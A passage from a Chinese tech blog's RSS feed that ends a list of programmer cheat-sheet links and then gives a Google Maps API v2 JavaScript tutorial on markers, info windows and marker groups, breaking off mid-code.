Unicode-Database</a></li>\n<li><a href=\"http://www.addedbytes.com/colourchart.png\">RGB Hex Colour Chart — PNG</a></li>\n<li><a href=\"http://www.geocities.com/Athens/1802/pgpcard.html\">Pretty Good PGP Reference Card</a></li>\n<li><a href=\"http://www.aiic.net/ViewPage.cfm/page302.htm\">Search Engine Cheat Sheet</a></li>\n<li><a href=\"http://www.digilife.be/quickreferences/quickrefs.htm\">Quick Reference Cards</a></li>\n</ul>\n<p><strong>MySQL</strong></p>\n<ul>\n<li><a href=\"http://www.nparikh.org/unix/mysql.php\">MySQL Cheat Sheet</a></li>\n<li><a href=\"http://www.addedbytes.com/mysql_cheat_sheet.pdf\">MySQL Cheat Sheet — PDF</a></li>\n<li><a href=\"http://www.addedbytes.com/mysql_cheat_sheet.png\">MySQL Cheat Sheet — PNG</a></li>\n<li><a href=\"http://www.3gwt.net/demo/SQL_redux.html\">SQL Cheatsheet</a></li>\n</ul>\n<p><strong>Oracle</strong></p>\n<ul>\n<li><a href=\"http://www.yagc.ndo.co.uk/cheatsheets/plsql_cheatsheet.html\">Oracle PL/SQL Cheatsheet</a></li>\n<li><a href=\"http://www.vttoth.com/oracle.htm\">Oracle Cheat Sheet</a></li>\n<li><a href=\"http://radio.weblogs.com/0128037/stories/2003/10/21/oracleScmInstallationCheatSheet.html\">Oracle SCM Installation Cheat Sheet</a></li>\n</ul>\n<p><strong>Perl</strong></p>\n<ul>\n<li><a href=\"http://www.mnlab.cs.depaul.edu/%7Eehab/Courses/TDC568/resources/PerlQuickRef.pdf\">Perl Regular Expression -Quick Reference — PDF</a></li>\n<li><a href=\"http://juerd.nl/site.plp/perlcheat\">Perl Cheat Sheet</a></li>\n<li><a href=\"http://juerd.nl/site.plp/perlcheat\">Perl Cheat Sheet</a></li>\n<li><a href=\"http://search.cpan.org/%7Enwclark/perl-5.8.7/pod/perlcheat.pod\">Perl 5 Cheat Sheet</a></li>\n<li><a href=\"http://johnbokma.com/perl/perl-quick-reference-card.html\">Perl Quick Reference Card — PDF</a></li>\n<li><a href=\"http://refcards.com/refcards/perl-regexp/index.html\">Perl Regexp Quick Reference Card — PDF</a></li>\n</ul>\n<p><strong>Photoshop/Gimp</strong></p>\n<ul>\n<li><a href=\"http://frenchfragfactory.net/ozh/download/refcards/Gimp.pdf\">Gimp Quick Reference Card v.1.0</a></li>\n<li><a href=\"http://frenchfragfactory.net/ozh/download/refcards/Photoshop.pdf\">Photoshop 7.0 Quick Reference Card for Windows — PDF</a></li>\n<li><a href=\"http://www.creativetechs.com/tips/tip_resources/PSCS2_Shortcuts_Windows.pdf\">Photoshop CS2 Keyboard Shortcuts (Windows) — PDF</a></li>\n<li><a href=\"http://www.creativetechs.com/tips/tip_resources/PSCS2_Shortcuts_Mac.pdf\">Photoshop CS2 Keyboard Shortcuts (Macintosh) — PDF</a></li>\n</ul>\n<p><strong>PHP</strong></p>\n<ul>\n<li><a href=\"http://www.symfony-project.com/weblog/2006/04/25/admin-generator-cheat-sheet.html\">symfony PHP5 framework — Admin Generator cheat sheet — PDF</a></li>\n<li><a href=\"http://www.addedbytes.com/php_cheat_sheet.pdf\">PHP Cheat Sheet — PDF</a></li>\n<li><a href=\"http://www.addedbytes.com/php_cheat_sheet.png\">PHP Cheat Sheet — PNG</a></li>\n<li><a href=\"http://www.blueshoes.org/en/developer/php_cheat_sheet/\">PHP Cheat Sheet with special php syntax</a></li>\n<li><a href=\"http://www.addedbytes.com/regular_expressions_cheat_sheet.png\">Regular Expressions Cheat Sheet — PNG</a></li>\n</ul>\n<p><strong>Python</strong></p>\n<ul>\n<li><a href=\"http://www-128.ibm.com/developerworks/library/l-cheatsheet3.html\">Python 101 cheat sheet</a></li>\n<li><a href=\"http://www.yukoncollege.yk.ca/%7Ettopper/COMP118/rCheatSheet.html\">Python Cheat Sheet</a></li>\n<li><a href=\"http://www.drweb.de/weblog/weblog/?p=548\">Python Cheat Sheet — PDF</a></li>\n<li><a href=\"http://www.onlamp.com/python/excerpt/PythonPocketRef/examples/python.pdf\">Python Quick Reference</a></li>\n<li><a href=\"http://rgruet.free.fr/PQR24/PQR2.4.html\">Python 2.4 Quick Reference</a></li>\n</ul>\n<p><strong>Regular Expressions</strong></p>\n<ul>\n<li><a href=\"http://www.addedbytes.com/cheat-sheets/regular-expressions-cheat-sheet/\">Regular Expressions Cheat Sheet</a></li>\n<li><a href=\"http://regexlib.com/CheatSheet.aspx\">Regular Expression Cheat Sheet (.NET)</a></li>\n</ul>\n<p><strong>Ruby</strong></p>\n<ul>\n<li><a href=\"http://slash7.com/cheats/activerecord_cheatsheet.pdf\">ActiveRecord Relationships — Ruby on Rails cheat sheet guide — PDF</a></li>\n<li><a href=\"http://www.blainekendall.com/index.php/rubyonrailscheatsheet/\">RubyOnRails-Cheatsheet — PDF</a></li>\n<li><a href=\"http://www.addedbytes.com/ruby_on_rails_cheat_sheet.png\">Ruby on Rails Cheat Sheet — PNG</a></li>\n<li><a href=\"http://slash7.com/cheats/form_helpers.pdf\">Ruby on Rails cheat sheet guide — PDF</a></li>\n<li><a href=\"http://www.zenspider.com/Languages/Ruby/QuickRef.html\">Ruby quick reference</a></li>\n<li><a href=\"http://www.threaded.com/ruby_cheatsheet.htm\">Threadeds Ruby Cheat Sheet</a></li>\n<li><a href=\"http://slash7.com/cheats/rails_files_cheatsheet.pdf\">What Goes Where? — Ruby on Rails cheat sheet — PDF</a></li>\n</ul>\n<p><strong>Unix/Linux</strong></p>\n<ul>\n<li><a href=\"http://www.unixguide.net/linux/linuxshortcuts.shtml\">Linux Shortcuts and Commands</a></li>\n<li><a href=\"http://aperiodic.net/screen/quick_reference?do=show\">quick_reference [GNU screen]</a></li>\n<li><a href=\"http://www.pixelbeat.org/cmdline.html\">Unix Cheat Sheet</a></li>\n<li><a href=\"http://homepage.powerup.com.au/%7Esquadron/linux_manual.pdf\">The One Page Linux Manual — Version 3 — PDF </a></li>\n<li><a href=\"http://www.gasmi.net/docs/tcp.html\">TCP Ports list (3498 ports in list) </a></li>\n<li><a href=\"http://www.rain.org/%7emkummel/unix.html\">Treebeard&#8217;s Unix Cheat Sheet</a></li>\n<li><a href=\"http://www.pixelbeat.org/vim.tips.html\">Essential Vim keyboard shortcuts Cheat Sheet</a></li>\n<li><a href=\"http://tnerual.eriogerg.free.fr/vim.html\">VIM Quick Reference Card</a></li>\n<li><a href=\"http://bullium.com/support/vim.html\">Vim Commands Cheat Sheet</a></li>\n</ul>\n<p><strong>Weblog</strong></p>\n<ul>\n<li><a href=\"http://andywibbels.com/files/Blogger_Cheatsheet_v1.pdf\">Blogger Cheatsheet — PDF</a></li>\n<li><a href=\"http://andywibbels.com/files/TypePad_Cheatsheet_v1.pdf\">TypePad Cheatsheet — PDF</a></li>\n<li><a href=\"http://andywibbels.com/files/Movable_Type_Cheatsheet_v1.pdf\">Movable Type Cheatsheet — PDF</a></li>\n<li><a href=\"http://www.einfach-persoenlich.de/2005-05-29/movabletype-movable-type-cheat-sheet-spickzettel.html\">MovableType</a></li>\n<li><a href=\"http://andywibbels.com/files/WordPress_Cheatsheet_v1.pdf\">WordPress Cheatsheet — PDF</a></li>\n<li><a href=\"http://bueltge.de/wp-wordpress-cheat-sheet-fuer-theme-tags-und-plugin-api/205\">WP — WordPress Cheat Sheet f眉r Theme Tags und Plugin-API — PDF</a></li>\n</ul>\n<p><strong>Windows</strong></p>\n<ul>\n<li><a href=\"http://www.ss64.com/nt/\">An A-Z Index of the Windows NT/XP command line</a></li>\n<li><a href=\"http://www.viemu.com/a_vi_vim_graphical_cheat_sheet_tutorial.html\">Graphical vi-vim Cheat Sheet and Tutorial</a></li>\n<li><a href=\"http://www.fgcu.edu/support/office2000/ppt/shortcuts.html\">Power Point 2000 — Keyboard Shortcuts</a></li>\n<li><a href=\"http://www.oreilly.com/examples/promos/pt/power_point_quickref.pdf\">POWERPOINT 2003 — Quick Reference Card</a></li>\n<li><a href=\"http://www.gasmi.net/docs/tcp.html\">TCP Ports list (3498 ports in list) </a></li>\n<li><a href=\"http://tlt.its.psu.edu/suggestions/international/accents/codealt.html\">Windows — Alt Key Numeric Codes</a></li>\n</ul>\n<p><strong>XML</strong></p>\n<ul>\n<li><a href=\"http://www.dopefly.com/projects/fuseboxxmlcheatsheet.cfm\">Fusebox 4.1 XML Cheat Sheet</a></li>\n<li><a href=\"http://www.zvon.org/download2_cheatsheet.php/sheet_mathML_el_attr.pdf?title=MathML%3A+elements+-+attributes\">MathML Reference — PDF</a></li>\n<li><a href=\"http://www.zvon.org/download2_cheatsheet.php/sheet_voiceXML_el_attr.pdf?title=VoiceXML%3A+elements+-+attributes\">VoiceXML Reference — PDF</a></li>\n<li><a href=\"http://refcards.com/download/bj/xtm-1.0.pdf\">XML TopicMaps 1.0 — Quick Reference Card — PDF</a></li>\n<li><a href=\"http://www.mulberrytech.com/quickref/XMLquickref.pdf\">XML Quick References — PDF</a></li>\n<li><a href=\"http://www.zvon.org/download2_cheatsheet.php/sheet_xmlSchema2001_child_parent.pdf?title=XML+Schema+2001%3A+children+-+parents\">XML Schema 2001: children — parents — PDF</a></li>\n<li><a href=\"http://www.zvon.org/download2_cheatsheet.php/sheet_xmlSchema2001_el_attr.pdf?title=XML+Schema+2001%3A+elements+-+attributes\">XML Schema 2001: elements — attributes — PDF</a></li>\n<li><a href=\"http://www.zvon.org/Output/cheatsheets/cheatsheet_list.html\">XML Schema 2000/10 — PDF</a></li>\n<li><a href=\"http://www.xml.dvint.com/docs/SchemaStructuresQR-2.pdf\">XML Schema — Structures Quick Reference — PDF</a></li>\n<li><a href=\"http://www.xml.dvint.com/docs/SchemaDataTypesQR-2.pdf\">XML Schema — Data Types Quick Reference — PDF</a></li>\n<li><a href=\"http://www.zvon.org/download2_cheatsheet.php/sheet_xslReference_el_attr.pdf?title=XSL+FO%3A+elements+-+attributes\">XSL FO Reference — PDF</a></li>\n<li><a href=\"http://www.mulberrytech.com/quickref/XSLT_1quickref-v2.pdf\">XSLT Quick References — PDF</a></li>\n<li><a href=\"http://refcards.com/download/deepx/XSLT-1.0.pdf\">XSLT Quick Reference Card — PDF</a></li>\n<li><a href=\"http://www.topxml.com/xsl/XSLTRef.asp\">XSLT Reference</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" alt=\"给程序员的VIM速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_title\">给程序员的VIM速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3480.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/01/OB-LP754_bestjo_D_20110104181820-150x150.jpg\" alt=\"一些有意思的网站和贴子\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3480.html\" class=\"wp_rp_title\">一些有意思的网站和贴子</a></li><li ><a href=\"https://coolshell.cn/articles/2964.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"25个jQuery的编程小抄\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2964.html\" class=\"wp_rp_title\">25个jQuery的编程小抄</a></li><li ><a href=\"https://coolshell.cn/articles/2775.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" alt=\"免费电子书列表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2775.html\" class=\"wp_rp_title\">免费电子书列表</a></li><li ><a href=\"https://coolshell.cn/articles/7992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/cpp_small-150x150.jpg\" alt=\"C++的坑真的多吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7992.html\" class=\"wp_rp_title\">C++的坑真的多吗？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1566.html\">程序员小抄大全</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1566.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>29</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Google Maps API用法教程</title>\n\t\t<link>https://coolshell.cn/articles/1561.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1561.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 13 Oct 2009 07:41:23 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[Google Maps]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1561</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在过去的一年中，在线地图的发展是相当巨大，我们可以看到在线地图的极有价值的信息和其能力。这其中，最有名气的自然是Google Maps。. Google Map...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1561.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1561.html\">Google Maps API用法教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在过去的一年中，在线地图的发展是相当巨大，我们可以看到在线地图的极有价值的信息和其能力。这其中，最有名气的自然是Google Maps。. Google Maps由一个相当强大的开发引擎并也有一个很大的社区提示支持。</p>\n<p>Google 允许各种web masters 通过Google Maps API来增加或自定义他们站点特定的地图，你可能从这里取得<a title=\"Get a Google Maps API Key\" href=\"http://code.google.com/intl/en/apis/maps/signup.html\" target=\"_blank\">Google API key </a>。一个地图 API key只对一个“目录”或域有效。key绑定了你的域名，你要在网站上放地图，需要有对应的key，否则拒绝读取地图数据，在本地测试可以不用key。当然，你可以申请多个API key。</p>\n<h4>创建一个简单的地图</h4>\n<p>在你的站点上引入Google Maps 是一件很简单的事情，你只需要加入：</p>\n<p><span id=\"more-1561\"></span></p>\n<ul>\n<li>引入Google的JavaScript 文件</li>\n<li>设置JavaScript 一些参数</li>\n<li>一个你需要显示地图的HTML layer</li>\n</ul>\n<p><strong>Google的Javascript文件引入</strong>:</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\n&lt;script\n    charset=&quot;UTF-8&quot;\n    src=http://maps.google.com/maps?file=api&amp;v=2&amp;hl=en&amp;oe=utf-8&amp;key=API_KEY\n    type=&quot;text/javascript&quot;&gt;\n&lt;/script&gt;\n</pre>\n<p><em><strong>注意</strong>：</em> 我们可以改变语言，比如说，把“<strong>hl=en</strong>” 改成中文“<strong>hl=zh-CN</strong>” 。我们还得要把“<strong>API_KEY</strong>” 改成我们向Google申请来的那个。</p>\n<p><strong>说明</strong>: 使用 UTF-8 编码会更好些。</p>\n<p><strong>设置地图参数</strong>:</p>\n<p>这是你可定制有个性化的Google Maps的地方。我们可以增加一些参数来改变地图的样式。例如，我们可以设置地图的载入和显示的坐标。下面是相关的代码：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">]function initialize() {\n    if (GBrowserIsCompatible()) {\n        var map = new GMap2(document.getElementById(&quot;map_canvas&quot;));\n        map.setCenter(new GLatLng(37.97918, 23.71665), 13);\n        map.setUIToDefault();\n    }\n}</pre>\n<p>请注意上面高亮的那一条语句，第一个是纬度坐标和第二个是经度坐标，“13” 表示地图缩放的程度，这个值可以取1 到17。</p>\n<p>要知道所在地点的纬度和经度，你可以使用<a title=\"Tool to get the coordinates of a location\" href=\"http://www.satsig.net/maps/lat-long-finder.htm\" target=\"_blank\">这个工具</a>，这个工具很容易使用，只需要把地图移到你想要的区域，然后，把鼠标放在中心就可以了。</p>\n<h4>地图标记</h4>\n<p>你可以在地图上放上一个标记来标出一个特定的位置，下面是一个示例代码。</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">var point = new GLatLng(37.97110, 23.72601);\nmap.addOverlay(new GMarker(point));</pre>\n<p>于是，我们整个代码看起来是下面这个样子：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">function initialize() {\n    if (GBrowserIsCompatible()) {\n        var map = new GMap2(document.getElementById(&quot;map_canvas&quot;));\n        map.setCenter(new GLatLng(37.97918, 23.71665), 13);\n        var point = new GLatLng(37.97110, 23.72601);\n        map.addOverlay(new GMarker(point));\n        map.setUIToDefault();\n    }\n}</pre>\n<p>上面的示例把我们的地图的中心放在了希腊雅典，标记了雅典卫城。</p>\n<p><strong>气球提示</strong></p>\n<p>气球提示一个很不错的界面，他可以用于放置一些小提示或或是一些信息。例如，下面的代码将放置一个在雅典卫城山上放一个气球提示来显示一些信息：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">function initialize() {\n    if (GBrowserIsCompatible()) {\n        var map = new GMap2(document.getElementById(&quot;map_canvas&quot;));\n        map.setCenter(new GLatLng(37.97110, 23.72601), 13);\n        var html = &quot;Parthenon 帕台农神庙, 地址: Acropolis Hill&quot;;\n        map.openInfoWindow(map.getCenter(),\n        document.createTextNode(html));\n        map.setUIToDefault();\n    }\n}</pre>\n<h4>活动标记</h4>\n<p>我们可以合并一些标记和气球提示来创建一个活动标记，这样一来，我们可以达到这样的效果——当用户点击某个标记的时候才会显示提示。代码如下所示：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">function initialize() {\n    if (GBrowserIsCompatible()) {\n        var map = new GMap2(document.getElementById(&quot;map_canvas&quot;));\n        map.setCenter(new GLatLng(37.97918, 23.71665), 13);\n        var baseIcon = new GIcon(G_DEFAULT_ICON);\n        baseIcon.shadow = &quot;http://www.google.com/mapfiles/shadow50.png&quot;;\n        baseIcon.iconSize = new GSize(20, 34);\n        baseIcon.shadowSize = new GSize(37, 34);\n        baseIcon.iconAnchor = new GPoint(9, 34);\n        baseIcon.infoWindowAnchor = new GPoint(9, 2);\n\n        function createMarker(point, index) {\n            var redIcon = new GIcon(baseIcon);\n            redIcon.image = &quot;http://www.google.com/mapfiles/marker.png&quot;;\n            markerOptions = { icon:redIcon };\n            var marker = new GMarker(point, markerOptions);\n            GEvent.addListener(marker, &quot;click&quot;, function() {\n                marker.openInfoWindowHtml(&quot;Parthenon, Address: Acropolis Hill&quot;);\n            });\n            return marker;\n        }\n\n        var latlng = new GLatLng(37.97110, 23.72601);\n        map.addOverlay(createMarker(latlng));\n    }\n}</pre>\n<p>让我来梳理一下上面的代码。下面的部分是在标记下增加一个阴影：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">var baseIcon = new GIcon(G_DEFAULT_ICON);\nbaseIcon.shadow = &quot;http://www.google.com/mapfiles/shadow50.png&quot;;\nbaseIcon.iconSize = new GSize(20, 34);\nbaseIcon.shadowSize = new GSize(37, 34);\nbaseIcon.iconAnchor = new GPoint(9, 34);\nbaseIcon.infoWindowAnchor = new GPoint(9, 2);</pre>\n<p>标记的Action是在这里设置的：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">function createMarker(point, index) {\n    var redIcon = new GIcon(baseIcon);\n    redIcon.image = &quot;http://www.google.com/mapfiles/marker.png&quot;;\n    markerOptions = { icon:redIcon };\n    var marker = new GMarker(point, markerOptions);\n    GEvent.addListener(marker, &quot;click&quot;, function() {\n        marker.openInfoWindowHtml(&quot;Parthenon, Address: Acropolis Hill&quot;);\n    });\n    return marker;\n}</pre>\n<p>这里是我们的标记的坐标：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">var latlng = new GLatLng(37.97110, 23.72601);\nmap.addOverlay(createMarker(latlng));</pre>\n<h3>载入地图</h3>\n<p>我们可以通过两种方法载入地图。我们可以让地图在整网页载入时载入（通过使用body的load事件），也可以把载入过程赋给其它事件。下面的两个方法是我们需要注意的：</p>\n<ul>\n<li><strong>initialize()</strong> 载入地图</li>\n<li><strong>GUnload()</strong> 卸载地图以释放内存</li>\n</ul>\n<p>我们当然还需要使用HTML的DIV标签来指定一个ID，这样才能被JavaScript使用，在我们的示例中，我们使用“map_canvas”。我们也能使用CSS来渲染这个DIV层。</p>\n<h3>定制地图</h3>\n<p>你可以使用自定义的标记和阴影。有两个工具可以帮助你创建这些图标—— <a title=\"Custom Marker Icons\" href=\"http://gmaps-utility-library.googlecode.com/svn/trunk/mapiconmaker/1.1/examples/markericonoptions-wizard.html\" target=\"_blank\">地图标记</a> 和<a title=\"Custom Shadows for Maps\" href=\"http://www.cycloloco.com/shadowmaker/\" target=\"_blank\"> 阴影</a>。你也可以使用HTML和CSS来定义气球提示。</p>\n<h4>加入多个标记并分组</h4>\n<p>我们可以标记多个地点，并可以把它们根据我们的需要分组。这样一来，我们可以通过不同的标记图标来显示地点的不同属性，比如：酒店，车站等。要做到这样，我们只需要使用一个XML文件，一个简单的XML文件如下所示：</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n&lt;markers&gt;\n&lt;marker\n    name=&quot;标题&quot;\n    label=&quot;这是一个标签&quot;\n    desc=&quot;气球提示的描述&quot;\n    lat=&quot;37.97167&quot; lng=&quot;23.72581&quot;\n    type=&quot;标签的种类，如 Bridge&quot;\n    address=&quot;地址信息&quot;\n    icona=&quot;图标&quot;\n/&gt;\n&lt;/markers&gt;\n</pre>\n<p>你可以在这个XML文件中加入多个地点信息。有一件事你需要小心的是，当出现一一些特定字符时（比如单引号，双引号，<a href=\"mailto:“#@$\">“#@$</a>&lt;&gt;”等），你需要使用HTML的转义。</p>\n<p>使用这XML的脚本如下：</p>\n<p><code data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">&lt;script src=&quot;http://gmaps-utility-library.googlecode.com/svn/trunk/labeledmarker/release/src/labeledmarker.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;</code></p>\n<p>当然，你需要设置一些参数：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">var iconRed = new GIcon();\niconRed.image = &#039;../img/marker-red.png&#039;;\niconRed.shadow = &#039;&#039;;\niconRed.iconSize = new GSize(32, 32);\niconRed.shadowSize = new GSize(22, 20);\niconRed.iconAnchor = new GPoint(16, 16);\niconRed.infoWindowAnchor = new GPoint(5, 1);\nvar customIcons = [];\n\ncustomIcons[&quot;ancient&quot;] = iconRed;\nvar markerGroups = { &quot;ancient&quot;: []};</pre>\n<p>上面，我们给customIcons 的“ancient”属性设置成了iconRed ，于是我们应该在我们的XML文件中使用类型(ancient) ，如果我们把这个XML文件命名为： markers.xml，那么，我们的代码如下：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\nGDownloadUrl(&quot;markers.xml&quot;, function(data) { //We tell Google Maps to load our file\n        var xml = GXml.parse(data);\n        var markers = xml.documentElement.getElementsByTagName(&quot;marker&quot;); //and read markers\n        for (var i = 0; i &lt; markers.length; i++) {\n            var name = markers[i].getAttribute(&quot;name&quot;); //From here down we assign variables.\n            var label = markers[i].getAttribute(&quot;label&quot;);\n            var desc = markers[i].getAttribute(&quot;desc&quot;);\n            var address = markers[i].getAttribute(&quot;address&quot;);\n            var type = markers[i].getAttribute(&quot;type&quot;);\n            var icona = markers[i].getAttribute(&quot;icona&quot;);\n            var point = new GlatLng(parseFloat(markers[i].getAttribute(&quot;lat&quot;)), //and we set the lat-long\n            parseFloat(markers[i].getAttribute(&quot;lng&quot;)));\n            var marker = createMarker(point, name, label, desc, address, type, icona);\n            map.addOverlay(marker);\n        }\n    });\n}\n}\n\nfunction createMarker(point, name, label, desc, address, type, icona) {\n    var marker = new LabeledMarker(point, {icon: customIcons[type], labelText: label, labelOffset: new GSize(-6, -8)})\n};\n</pre>\n<p>要分组标记，你需要下面的代码：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\n    markerGroups[type].push(marker);\n    var html = &quot;&lt;img src=&quot; + icona + &quot; height=150 border=0 /&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;&lt;b&gt;&quot;+ name + &quot;&lt;/b&gt;&lt;br/&gt;&quot; +\n            desc + &quot;&lt;br/&gt;&lt;b&gt;Address:&lt;/b&gt; &quot; + address + &quot;&lt;br/&gt;&lt;br/&gt;&lt;span&gt;&quot;;\n    GEvent.addListener(marker, &#039;click&#039;, function() {\n        marker.openInfoWindowHtml(html);\n    });\n    return marker;\n}\n</pre>\n<p>要使用不同的图标，你可以使用相同的方法。</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">var iconRed = new GIcon();\niconRed.image = &#039;../img/marker-red.png&#039;;\niconRed.shadow = &#039;&#039;;\niconRed.iconSize = new GSize(32, 32);\niconRed.shadowSize = new GSize(22, 20);\niconRed.iconAnchor = new GPoint(16, 16);\niconRed.infoWindowAnchor = new GPoint(5, 1);\n\nvar iconGreen = new GIcon();\niconGreen.image = &#039;../img/marker-green.png&#039;;\niconGreen.shadow = &#039;&#039;;\niconGreen.iconSize = new GSize(32, 32);\niconGreen.shadowSize = new GSize(22, 20);\niconGreen.iconAnchor = new GPoint(16, 16);\niconGreen.infoWindowAnchor = new GPoint(5, 1);\n\nvar iconBrown = new GIcon();\niconBrown.image = &#039;../img/marker-brown.png&#039;;\niconBrown.shadow = &#039;&#039;;\niconBrown.iconSize = new GSize(32, 32);\niconBrown.shadowSize = new GSize(22, 20);\niconBrown.iconAnchor = new GPoint(16, 16);\niconBrown.infoWindowAnchor = new GPoint(5, 1);\n\nvar customIcons = [];\n\ncustomIcons[&quot;hotel&quot;] = iconRed;\ncustomIcons[&quot;bridge&quot;] = iconGreen;\ncustomIcons[&quot;hill&quot;] = iconBrown;\nvar markerGroups = { &quot;hotel&quot;: [], &quot;bridge&quot;: [], &quot;hill&quot;: []};</pre>\n<p>所以，如果我们在XML 文件中设置了不同的种类，如：hotel，bridge 和 hill，我们也应该需要不同的颜色和图标。</p>\n<h4>过滤显示标记</h4>\n<p>我们还可以让我们的标记更友好一些。我们可以让用户决定是否显示标记，这样的话，地图上的标记就不会太多，也会根据用户的需求来显示相当的标记。我们可以使用几个按钮，复选框，或是链接来完成这个事情。要做到这个事，你需要在“<em>map.addMapType(G_SATELLITE_3D_MAP); </em>”后面加入下面的代码：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">document.getElementById(&quot;hotelCheckbox&quot;).checked = true;\ndocument.getElementById(&quot;bridgeCheckbox&quot;).checked = true;\ndocument.getElementById(&quot;hillCheckbox&quot;).checked = true;\ndocument.getElementById(&quot;labelsCheckbox&quot;).checked = true;\n</pre>\n<p>然后再加入下面的这些 JavaScript 的代码：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\nfunction toggleGroup(type) {\n    for (var i = 0; i &lt; markerGroups[type].length; i++) {\n        var marker = markerGroups[type][i];\n        if (marker.isHidden()) {\n            marker.show();\n        } else {\n            marker.hide();\n        }\n    }\n}\n\nfunction toggleLabels() {\n    var showLabels = document.getElementById(&quot;labelsCheckbox&quot;).checked;\n    for (groupName in markerGroups) {\n        for (var i = 0; i &lt; markerGroups[groupName].length; i++) {\n            var marker = markerGroups[groupName][i];\n            marker.setLabelVisibility(showLabels);\n        }\n    }\n}\n\nfunction hideAll() {\n    var boxes = document.getElementsByName(&quot;mark&quot;);\n    for(var i = 0; i &lt; boxes.length; i++) {\n        if(boxes[i].checked) {\n            boxes[i].checked = false;\n            switchLayer(false, layers[i].obj);\n            chosen.push(i);\n        }\n    }\n}\n\nfunction checkChecked() {\n    var boxes = document.getElementsByName(&quot;mark&quot;);\n    for(var i = 0; i &lt; boxes.length; i++) {\n        if(boxes[i].checked) return true;\n    }\n    return false;\n}</pre>\n<p>最后一件事是加如几个checkbox ：</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n&lt;input type=&quot;hidden&quot; id=&quot;labelsCheckbox&quot; onclick=&quot;toggleLabels()&quot; checked=”checked” 